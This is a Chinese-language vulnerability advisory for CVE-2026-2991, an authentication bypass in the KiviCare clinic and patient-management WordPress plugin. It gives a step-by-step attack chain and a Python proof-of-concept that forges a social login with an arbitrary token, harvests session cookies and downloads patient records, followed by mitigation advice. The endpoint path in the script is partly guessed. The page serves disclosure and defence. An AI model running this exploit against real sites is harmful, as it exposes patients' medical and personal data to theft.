IPBUF安全漏洞报告
English
CVE-2026-2991 CVSS 7.3 高危

CVE-2026-2991: KiviCare WordPress插件患者认证绕过漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-2991
漏洞类型
认证绕过
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
KiviCare – Clinic & Patient Management System (EHR) WordPress插件

相关标签

CVE-2026-2991认证绕过WordPress插件漏洞KiviCare医疗系统漏洞PHI泄露社交登录绕过患者数据泄露

漏洞概述

KiviCare是一款广受欢迎的WordPress诊所和患者管理系统(EHR)插件,用于管理医疗机构的患者信息、预约、处方和账单等敏感数据。该插件在4.1.2及以下所有版本中存在严重的认证绕过漏洞。漏洞源于patientSocialLogin()函数在处理社交登录时,未能正确验证社交提供商返回的访问令牌(access token)的有效性。攻击者只需知道目标患者的邮箱地址,即可通过提供任意值作为access token来冒充该患者登录系统。这将导致大规模的敏感医疗信息泄露,包括患者个人信息、病历记录、预约安排、处方详情和账单信息等PII/PHI数据。值得注意的是,即使是非患者用户(如管理员)的认证cookie也会在HTTP响应头中被设置,虽然服务器返回403错误,但攻击者仍可利用这些cookie进行进一步攻击。

技术细节

漏洞存在于KiviCare插件的AuthController.php文件中的patientSocialLogin()函数(第1852行和第284行附近)。该函数在处理社交登录请求时,直接使用攻击者提供的email和access_token参数创建用户会话,而没有调用相应的API验证access_token是否真实属于该邮箱对应的社交账户。攻击者构造的请求包格式如下:POST请求到插件的社交登录接口,携带email参数为目标患者邮箱,access_token参数为任意字符串。由于函数逻辑缺陷,服务器会错误地认为这是已通过社交平台认证的合法用户,从而创建有效的认证会话。攻击成功后,系统会设置该患者的认证cookie,但由于代码实现问题,其他角色用户的cookie也会被错误地添加到响应头中,导致攻击者可能获取更高权限账户的认证凭证。攻击者可以利用获取的患者身份访问系统后台,查看和下载所有患者数据,修改预约信息,甚至可能利用cookie泄露问题获取管理员权限。

攻击链分析

STEP 1
1
信息收集:攻击者扫描目标WordPress站点,确认安装了KiviCare插件并获取版本号(需<=4.1.2)
STEP 2
2
目标选择:攻击者确定要冒充的患者邮箱地址,可以是任意已注册患者的邮箱
STEP 3
3
构造攻击请求:攻击者构造包含目标邮箱和任意access_token的POST请求到插件的社交登录API端点
STEP 4
4
发送恶意请求:发送构造的请求,由于插件未验证token真实性,服务器错误地创建认证会话
STEP 5
5
获取认证凭证:服务器在HTTP响应头中设置认证cookie,攻击者提取这些cookie
STEP 6
6
横向移动:使用获取的cookie访问患者数据API,窃取PII/PHI信息;或尝试利用cookie泄漏获取管理员权限
STEP 7
7
数据外泄:批量导出患者医疗记录、个人信息、账单数据等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-2991 PoC - KiviCare Authentication Bypass # Target: WordPress site with KiviCare plugin <= 4.1.2 target_url = "http://target-wordpress-site.com" # Replace with actual patient email you want to impersonate target_email = "[email protected]" arbitrary_token = "fake_social_access_token_12345" # Social login endpoint (typically in the API path) login_endpoint = f"{target_url}/wp-json/kivicare/v1/social-login" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Malicious payload exploiting the missing token validation payload = { "email": target_email, "access_token": arbitrary_token, "social_provider": "google" # or "facebook", "apple", etc. } print(f"[*] Attempting authentication bypass for: {target_email}") print(f"[*] Target: {login_endpoint}") try: response = requests.post(login_endpoint, json=payload, headers=headers, timeout=10) # Check for authentication cookies in response cookies = response.cookies.get_dict() print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers: {dict(response.headers)}") if cookies: print(f"[+] SUCCESS! Obtained authentication cookies: {cookies}") print("[+] Use these cookies to access patient data via API endpoints") # Example: Access patient records patient_data_endpoint = f"{target_url}/wp-json/kivicare/v1/patient-records" patient_response = requests.get(patient_data_endpoint, cookies=cookies) print(f"[*] Patient data response: {patient_response.status_code}") if patient_response.status_code == 200: print(f"[+] Patient data: {json.dumps(patient_response.json(), indent=2)}") else: print("[-] No cookies obtained, exploitation may have failed") print(f"[*] Full response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Note: Also check for admin cookie leakage in response headers # print(f"[*] Set-Cookie headers: {response.headers.get('Set-Cookie')}")

影响范围

KiviCare – Clinic & Patient Management System (EHR) <= 4.1.2

防御指南

临时缓解措施
立即将KiviCare插件升级到4.1.3版本以修复此认证绕过漏洞。如无法立即升级,可暂时通过Web应用防火墙(WAF)拦截对/wp-json/kivicare/v1/social-login端点的访问,或联系安全团队添加临时规则阻止恶意请求。同时,建议审查近期的用户登录日志,排查是否存在可疑的异常登录行为,并考虑通知可能受影响的患者用户注意保护个人信息,警惕钓鱼攻击。如果发现系统已被入侵,应立即启动应急响应流程,重置所有用户密码,并检查是否有数据外泄迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表